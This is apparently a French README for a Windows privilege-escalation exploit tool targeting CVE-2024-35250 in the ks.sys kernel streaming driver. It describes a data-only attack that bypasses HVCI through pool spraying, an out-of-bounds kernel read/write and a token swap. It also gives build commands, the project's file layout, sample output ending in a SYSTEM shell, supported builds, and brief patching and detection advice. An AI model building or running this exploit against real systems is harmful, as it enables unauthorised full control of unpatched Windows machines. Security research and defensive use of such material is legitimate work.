
Élévation de privilèges locale via déréférencement de pointeur non fiable dans le pilote Kernel Streaming de Windows (ks.sys).
Exploitation exclusivement par données — contourne l’intégrité du code protégée par l’hyperviseur (HVCI).
| Champ | Détail |
|---|---|
| CVE | CVE-2024-35250 |
| Composant | ks.sys (Kernel Streaming) |
| Classe de bug | Déréférencement de pointeur non fiable |
| Impact | Élévation vers NT AUTHORITY\SYSTEM |
| HVCI | Contourné — pas d’exécution de code dans le noyau |
| Correctif | KB5039212 (Juin 2024) |
| Cibles | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler répartit les requêtes de propriété de niveau topologie via
KspProcessPropertyNode. Le champ NodeId de la structure KSP_NODE fournie par l’utilisateur
est utilisé comme indice dans un tableau interne de tables d’automatisation
sans validation des limites :
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- contrôlé par l’attaquant
Un NodeId forgé dépassant le nombre réel de nœuds redirige le déréférencement
vers la mémoire adjacente du pool, offrant une primitive de lecture/écriture hors limites.
L’exploitation manipule exclusivement les structures de données du noyau :
EPROCESS via NtQuerySystemInformationActiveProcessLinks pour localiser le PID 4 (System)Aucun shellcode n’est injecté. Aucune page de code non signée n’est créée ou exécutée. Aucun pointeur de flux de contrôle n’est détourné.
| Protection | Statut |
|---|---|
| HVCI / KMCI | Contourné |
| SMEP | Non déclenché |
| SMAP | Non déclenché |
| kCFG | Non déclenché |
hvcipwned.sln dans Visual StudioCtrl+Shift+B)Binaire produit : x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
Exécuter depuis une session utilisateur non privilégiée sur un système vulnérable (non corrigé).
En cas de succès, une nouvelle fenêtre cmd.exe s’ouvre avec les droits NT AUTHORITY\SYSTEM.
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - types, macros de log, typedefs d'API NT
├── offsets.h - offsets de champs eprocess par build
├── device.h - énumération de périphériques ks
├── leak.h - fuites d'adresses noyau
├── krw.h - contexte de primitive r/w
├── token.h - échange de token + lancement de shell
└── exploit.h - point d'entrée principal
├── main.c - point d'entrée
├── device.c - ouverture de périphérique setupapi
├── leak.c - fuites via NtQuerySystemInformation
├── krw.c - déclenchement de vulnérabilité + pool spray + r/w
├── token.c - parcours eprocess + écrasement de token
└── exploit.c - orchestration
Les offsets sont résolus automatiquement à l’exécution via RtlGetVersion.
Ce projet est fourni à des fins de recherche en sécurité autorisée et éducatives uniquement. Ne pas utiliser contre des systèmes sans autorisation écrite explicite. L’auteur décline toute responsabilité en cas d’utilisation abusive ou de dommages causés par ce logiciel.
| CET / Shadow Stack | Non déclenché |
| OS | Build | Statut |
|---|
| Windows 10 20H1 | 19041 | Pris en charge |
| Windows 10 20H2 | 19042 | Pris en charge |
| Windows 10 21H1 | 19043 | Pris en charge |
| Windows 10 21H2 | 19044 | Pris en charge |
| Windows 10 22H2 | 19045 | Pris en charge |
| Windows 11 21H2 | 22000 | Pris en charge |
| Windows 11 22H2 | 22621 | Pris en charge |
| Windows 11 23H2 | 22631 | Pris en charge |
| Action | Détail |
|---|
| Correctif | Installer KB5039212 (Juin 2024) ou ultérieur |
| Détection | Surveiller IOCTL_KS_PROPERTY avec le drapeau KSPROPERTY_TYPE_TOPOLOGY |
| EDR | Alerter sur les changements d’intégrité de jeton via les rappels noyau EtwTi |
| Renforcement | Restreindre l’accès utilisateur aux interfaces de périphérique KS via DACL |